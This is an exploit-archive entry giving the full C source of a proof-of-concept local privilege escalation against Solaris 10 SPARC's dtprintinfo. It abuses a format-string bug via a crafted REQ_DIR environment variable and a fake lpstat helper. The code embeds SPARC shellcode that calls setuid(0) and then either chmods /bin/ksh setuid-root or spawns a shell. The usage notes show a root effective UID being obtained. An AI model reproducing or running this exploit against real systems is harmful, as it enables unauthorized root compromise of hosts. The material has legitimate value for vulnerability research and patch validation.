Solaris 10 (SPARC) – ‘dtprintinfo’ Local Privilege Escalation (1)
# Exploit Title: Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation # Date: 2021-02-01 # Exploit Author: Marco Ivaldi # Vendor Homepage: https://www.oracle.com/solaris/solaris10/ # Version: Solaris 10 # Tested on: Solaris 10 1/13 SPARC /* * raptor_dtprintcheckdir_sparc.c - Solaris/SPARC FMT PoC * Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info> * * "Mimimimimimimi * Mimimi only mimi * Mimimimimimimi * Mimimi sexy mi" * -- Serebro * * As usual, exploitation on SPARC turned out to be much more complicated (and * fun) than on Intel. Since the vulnerable program needs to survive one * additional function before we can hijack %pc, the classic stack-based buffer * overflow approach didn't seem feasible in this case. Therefore, I opted for * the format string bug. This is just a proof of concept, 'cause guess what -- * on my system it works only when gdb or truss are attached to the target * process:( To borrow Neel Mehta's words: * * "It's quite common to find an exploit that only works with GDB attached to * the process, simply because without the debugger, break register windows * aren't flushed to the stack and the overwrite has no effect." * -- The Shellcoder's Handbook * * On different hardware configurations this exploit might work if the correct * retloc and offset are provided. It might also be possible to force a context * switch at the right time that results in registers being flushed to the * stack at the right moment. However, this method tends to be unreliable even * when the attack is repeatable like in this case. A better way to solve the * puzzle would be to overwrite something different, e.g.: * * - Activation records of other functions, such as check_dir() (same issues) * - Callback to function SortJobs() (nope, address is hardcoded in .text) * - PLT in the binary (I need a different technique to handle null bytes) * - PLT (R_SPARC_JMP_SLOT) in libc (no null bytes, this looks promising!) * - Other OS function pointers I'm not aware of still present in Solaris 10 * * Finally, it might be possible to combine the stack-based buffer overflow and * the format string bug to surgically fix addresses and survive until needed * for program flow hijacking to be possible. Bottom line: there's still some * work to do to obtain a reliable exploit, but I think it's feasible. You're * welcome to try yourself if you feel up to the task and have a spare SPARC * box;) [spoiler alert: I did it myself, see raptor_dtprintcheckdir_sparc2.c] * * This bug was likely fixed during the general cleanup of CDE code done by * Oracle in response to my recently reported vulnerabilities. However, I can't * confirm this because I have no access to their patches:/ * * See also: * raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez) * raptor_dtprintcheckdir_intel2.c * raptor_dtprintcheckdir_sparc2.c (the real deal) * * Usage: * $ gcc raptor_dtprintcheckdir_sparc.c -o raptor_dtprintcheckdir_sparc -Wall * [on your xserver: disable the access control] * $ truss -u a.out -u '*' -fae ./raptor_dtprintcheckdir_sparc 192.168.1.1:0 * [on your xserver: double click on the fake "fnord" printer] * ... * -> __0FJcheck_dirPcTBPPP6QStatusLineStructPii(0xfe584e58, 0xff2a4042, 0x65db0, 0xffbfc50c) * -> libc:getenv(0x4e8f8, 0x0, 0x0, 0x0) * <- libc:getenv() = 0xffbff364 * -> libc:getenv(0x4e900, 0x1, 0xf9130, 0x0) * <- libc:getenv() = 0xffbff364 * -> libc:sprintf(0xffbfc1bc, 0xffbff364, 0xff2a4042, 0x0) * ... * setuid(0) = 0 * chmod("/bin/ksh", 037777777777) = 0 * _exit(0) * $ ksh * # id * uid=100(user) gid=1(other) euid=0(root) egid=2(bin) * # * * Tested on: * SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise * [previous Solaris versions are also likely vulnerable (and easier to exploit)] */ #include <fcntl.h> #include <link.h> #include <procfs.h> #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <unistd.h> #include <sys/stat.h> #include <sys/systeminfo.h> #define INFO1 "raptor_dtprintcheckdir_sparc.c - Solaris/SPARC FMT PoC" #define INFO2 "Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>" #define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program #define BUFSIZE 3000 // size of evil env var #define BUFSIZE2 10000 // size of padding buf #define STACKPOPSEQ "%.8x" // stackpop sequence #define STACKPOPS 383 // number of stackpops /* default retloc and offset for sprintf() */ #define RETLOC 0xffbfbb3c // saved ret location #define OFFSET 84 // offset from retloc to i0loc /* default retloc and offset for check_dir() */ /* TODO: patch %i6 that gets corrupted by overflow */ //#define RETLOC 0xffbfbbac // default saved ret location //#define OFFSET 1884 // default offset from retloc to i0loc /* split an address in 4 bytes */ #define SPLITB(B1, B2, B3, B4, ADDR) { \ B4 = (ADDR & 0x000000ff); \ B3 = (ADDR & 0x0000ff00) >> 8; \ B2 = (ADDR & 0x00ff0000) >> 16; \ B1 = (ADDR & 0xff000000) >> 24; \ } /* calculate numeric arguments for write string */ #define CALCARGS(N1, N2, N3, N4, B1, B2, B3, B4, BASE) { \ N1 = (B4 - BASE) % 0x100; \ N2 = (B2 - BASE - N1) % 0x100; \ N3 = (B1 - BASE - N1 - N2) % 0x100; \ N4 = (B3 - BASE - N1 - N2 - N3) % 0x100; \ BASE += N1 + N2 + N3 + N4; \ } //#define USE_EXEC_SC // uncomment to use exec shellcode #ifdef USE_EXEC_SC char sc[] = /* Solaris/SPARC execve() shellcode (12 + 48 = 60 bytes) */ /* setuid(0) */ "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ "\x82\x10\x20\x17" /* mov 0x17, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ /* execve("/bin/ksh", argv, NULL) */ "\x9f\x41\x40\x01" /* rd %pc,%o7 ! >= sparcv8+ */ "\x90\x03\xe0\x28" /* add %o7, 0x28, %o0 */ "\x92\x02\x20\x10" /* add %o0, 0x10, %o1 */ "\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */ "\xd0\x22\x20\x10" /* st %o0, [ %o0 + 0x10 ] */ "\xc0\x22\x20\x14" /* clr [ %o0 + 0x14 ] */ "\x82\x10\x20\x0b" /* mov 0xb, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "\x80\x1c\x40\x11" /* xor %l1, %l1, %g0 ! nop */ "\x41\x41\x41\x41" /* placeholder */ "/bin/ksh"; #else char sc[] = /* Solaris/SPARC chmod() shellcode (12 + 32 + 20 = 64 bytes) */ /* setuid(0) */ "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ "\x82\x10\x20\x17" /* mov 0x17, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ /* chmod("/bin/ksh", 037777777777) */ "\x92\x20\x20\x01" /* sub %g0, 1, %o1 */ "\x20\xbf\xff\xff" /* bn,a <sc - 4> */ "\x20\xbf\xff\xff" /* bn,a <sc> */ "\x7f\xff\xff\xff" /* call <sc + 4> */ "\x90\x03\xe0\x20" /* add %o7, 0x20, %o0 */ "\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */ "\x82\x10\x20\x0f" /* mov 0xf, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ /* exit(0) */ "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ "\x82\x10\x20\x01" /* mov 1, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "/bin/ksh"; #endif /* USE_EXEC_SC */ /* globals */ char *arg[2] = {"foo", NULL}; char *env[256]; int env_pos = 0, env_len = 0; /* prototypes */ int add_env(char *string); void check_zero(int addr, char *pattern); int get_env_addr(char *path, char **argv); int search_ldso(char *sym); int search_rwx_mem(void); void set_val(char *buf, int pos, int val); /* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE], *p = buf, buf2[BUFSIZE2]; char platform[256], release[256], display[256]; int env_addr, sc_addr, retloc = RETLOC, i0loc, i1loc, i7loc; int offset = OFFSET; int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; int ret = search_ldso("sprintf"); int rwx_mem = search_rwx_mem() + 24; /* stable address */ int i, stackpops = STACKPOPS; unsigned char b1, b2, b3, b4; unsigned base, n[16]; /* must be unsigned */ /* lpstat code to add a fake printer */ if (!strcmp(argv[0], "lpstat")) { /* check command line */ if (argc != 2) exit(1); /* print the expected output and exit */ if(!strcmp(argv[1], "-v")) { fprintf(stderr, "lpstat called with -v\n"); printf("device for fnord: /dev/null\n"); } else { fprintf(stderr, "lpstat called with -d\n"); printf("system default destination: fnord\n"); } exit(0); } /* helper program that prints argv[0] address, used by get_env_addr() */ if (!strcmp(argv[0], "foo")) { printf("0x%p\n", argv[0]); exit(0); } /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* process command line */ if ((argc < 2) || (argc > 4)) { #ifdef USE_EXEC_SC fprintf(stderr, "usage: %s xserver:display [retloc] [offset]\n\n", argv[0]); #else fprintf(stderr, "usage:\n$ %s xserver:display [retloc] [offset]\n$ /bin/ksh\n\n", argv[0]); #endif /* USE_EXEC_SC */ exit(1); } sprintf(display, "DISPLAY=%s", argv[1]); if (argc > 2) retloc = (int)strtoul(argv[2], (char **)NULL, 0); if (argc > 3) offset = (int)strtoul(argv[3], (char **)NULL, 0); /* calculate saved %i0 and %i7 locations based on retloc */ i0loc = retloc + offset; i1loc = i0loc + 4; i7loc = i0loc + 28; /* evil env var: name + shellcode + padding */ memset(buf, 'A', sizeof(buf)); buf[sizeof(buf) - 1] = 0x0; memcpy(buf, "REQ_DIR=", strlen("REQ_DIR=")); p += strlen("REQ_DIR="); /* padding buffer to avoid stack overflow */ memset(buf2, 'B', sizeof(buf2)); buf2[sizeof(buf2) - 1] = 0x0; /* fill the envp, keeping padding */ add_env(buf2); add_env(buf); add_env(display); add_env("TMP_DIR=/tmp"); add_env("PATH=.:/usr/bin"); sc_addr = add_env("HOME=/tmp"); add_env(sc); add_env(NULL); /* calculate the needed addresses */ env_addr = get_env_addr(VULN, argv); sc_addr += env_addr; #ifdef USE_EXEC_SC /* populate exec shellcode placeholder */ set_val(sc, 48, sb - 1024); #endif /* USE_EXEC_SC */ /* format string: saved ret */ *((void **)p) = (void *)(retloc); p += 4; /* 0x000000ff */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(retloc); p += 4; /* 0x00ff0000 */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(retloc); p += 4; /* 0xff000000 */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(retloc + 2); p += 4; /* 0x0000ff00 */ memset(p, 'A', 4); p += 4; /* dummy */ /* format string: saved %i0: 1st arg to sprintf() */ *((void **)p) = (void *)(i0loc); p += 4; /* 0x000000ff */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(i0loc); p += 4; /* 0x00ff0000 */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(i0loc); p += 4; /* 0xff000000 */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(i0loc + 2); p += 4; /* 0x0000ff00 */ memset(p, 'A', 4); p += 4; /* dummy */ /* format string: saved %i7: return address */ *((void **)p) = (void *)(i7loc); p += 4; /* 0x000000ff */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(i7loc); p += 4; /* 0x00ff0000 */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(i7loc); p += 4; /* 0xff000000 */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(i7loc + 2); p += 4; /* 0x0000ff00 */ memset(p, 'A', 4); p += 4; /* dummy */ /* format string: saved %i1: 2nd arg to sprintf() */ *((void **)p) = (void *)(i1loc); p += 4; /* 0x000000ff */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(i1loc); p += 4; /* 0x00ff0000 */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(i1loc); p += 4; /* 0xff000000 */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(i1loc + 2); p += 4; /* 0x0000ff00 */ /* format string: stackpop sequence */ base = p - buf - strlen("REQ_DIR="); for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8) memcpy(p, STACKPOPSEQ, strlen(STACKPOPSEQ)); /* calculate numeric arguments for retloc */ SPLITB(b1, b2, b3, b4, (ret - 4)); CALCARGS(n[0], n[1], n[2], n[3], b1, b2, b3, b4, base); /* calculate numeric arguments for i0loc */ SPLITB(b1, b2, b3, b4, rwx_mem); CALCARGS(n[4], n[5], n[6], n[7], b1, b2, b3, b4, base); /* calculate numeric arguments for i7loc */ SPLITB(b1, b2, b3, b4, (rwx_mem - 8)); CALCARGS(n[8], n[9], n[10], n[11], b1, b2, b3, b4, base); /* calculate numeric arguments for i1loc */ SPLITB(b1, b2, b3, b4, sc_addr); CALCARGS(n[12], n[13], n[14], n[15], b1, b2, b3, b4, base); /* check for potentially dangerous numeric arguments below 10 */ for (i = 0; i < 16; i++) n[i] += (n[i] < 10) ? (0x100) : (0); /* format string: write string */ sprintf(p, "%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn", n[0], n[1], n[2], n[3], n[4], n[5], n[6], n[7], n[8], n[9], n[10], n[11], n[12], n[13], n[14], n[15]); buf[strlen(buf)] = 'A'; /* preserve buf length */ /* we need at least one directory inside TMP_DIR to trigger the bug */ mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO); /* create a symlink for the fake lpstat */ unlink("lpstat"); symlink(argv[0], "lpstat"); /* print some output */ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); sysinfo(SI_RELEASE, release, sizeof(release) - 1); fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); fprintf(stderr, "Using ret location\t: 0x%p\n", (void *)retloc); fprintf(stderr, "Using %%i0 location\t: 0x%p\n", (void *)i0loc); fprintf(stderr, "Using %%i1 location\t: 0x%p\n", (void *)i1loc); fprintf(stderr, "Using %%i7 location\t: 0x%p\n", (void *)i7loc); fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); fprintf(stderr, "Using sprintf() address\t: 0x%p\n\n", (void *)ret); /* check for null bytes (add some padding to env if needed) */ check_zero(retloc, "ret location"); check_zero(i0loc, "%%i0 location"); check_zero(i1loc, "%%i1 location"); check_zero(i7loc, "%%i7 location"); check_zero(rwx_mem, "rwx_mem address"); check_zero(sc_addr, "sc address"); /* run the vulnerable program */ execve(VULN, arg, env); perror("execve"); exit(1); } /* * add_env(): add a variable to envp and pad if needed */ int add_env(char *string) { int i; /* null termination */ if (!string) { env[env_pos] = NULL; return env_len; } /* add the variable to envp */ env[env_pos] = string; env_len += strlen(string) + 1; env_pos++; /* pad the envp using zeroes */ if ((strlen(string) + 1) % 4) for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { env[env_pos] = string + strlen(string); env_len++; } return env_len; } /* * check_zero(): check an address for the presence of a 0x00 */ void check_zero(int addr, char *pattern) { if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || !(addr & 0xff000000)) { fprintf(stderr, "error: %s contains a 0x00!\n", pattern); exit(1); } } /* * get_env_addr(): get environment address using a helper program */ int get_env_addr(char *path, char **argv) { char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; char hex[11] = "\x00"; int fd[2], addr; /* truncate program name at correct length and create a hard link */ prog[strlen(path)] = 0x0; unlink(prog); link(argv[0], prog); /* open pipe to read program output */ if (pipe(fd) < 0) { perror("pipe"); exit(1); } switch(fork()) { case -1: /* cannot fork */ perror("fork"); exit(1); case 0: /* child */ dup2(fd[1], 1); close(fd[0]); close(fd[1]); execve(prog, arg, env); perror("execve"); exit(1); default: /* parent */ close(fd[1]); read(fd[0], hex, sizeof(hex)); break; } /* check and return address */ if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) { fprintf(stderr, "error: cannot read ff address from helper program\n"); exit(1); } return addr + 4; } /* * search_ldso(): search for a symbol inside ld.so.1 */ int search_ldso(char *sym) { int addr; void *handle; Link_map *lm; /* open the executable object file */ if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { perror("dlopen"); exit(1); } /* get dynamic load information */ if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { perror("dlinfo"); exit(1); } /* search for the address of the symbol */ if ((addr = (int)dlsym(handle, sym)) == NULL) { fprintf(stderr, "error: sorry, function %s() not found\n", sym); exit(1); } /* close the executable object file */ dlclose(handle); check_zero(addr - 4, sym); return addr; } /* * search_rwx_mem(): search for an RWX memory segment valid for all * programs (typically, /usr/lib/ld.so.1) using the proc filesystem */ int search_rwx_mem(void) { int fd; char tmp[16]; prmap_t map; int addr = 0, addr_old; /* open the proc filesystem */ sprintf(tmp,"/proc/%d/map", (int)getpid()); if ((fd = open(tmp, O_RDONLY)) < 0) { fprintf(stderr, "error: can't open %s\n", tmp); exit(1); } /* search for the last RWX memory segment before stack (last - 1) */ while (read(fd, &map, sizeof(map))) if (map.pr_vaddr) if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { addr_old = addr; addr = map.pr_vaddr; } close(fd); /* add 4 to the exact address null bytes */ if (!(addr_old & 0xff)) addr_old |= 0x04; if (!(addr_old & 0xff00)) addr_old |= 0x0400; return addr_old; } /* * set_val(): copy a dword inside a buffer */ void set_val(char *buf, int pos, int val) { buf[pos] = (val & 0xff000000) >> 24; buf[pos + 1] = (val & 0x00ff0000) >> 16; buf[pos + 2] = (val & 0x0000ff00) >> 8; buf[pos + 3] = (val & 0x000000ff); } |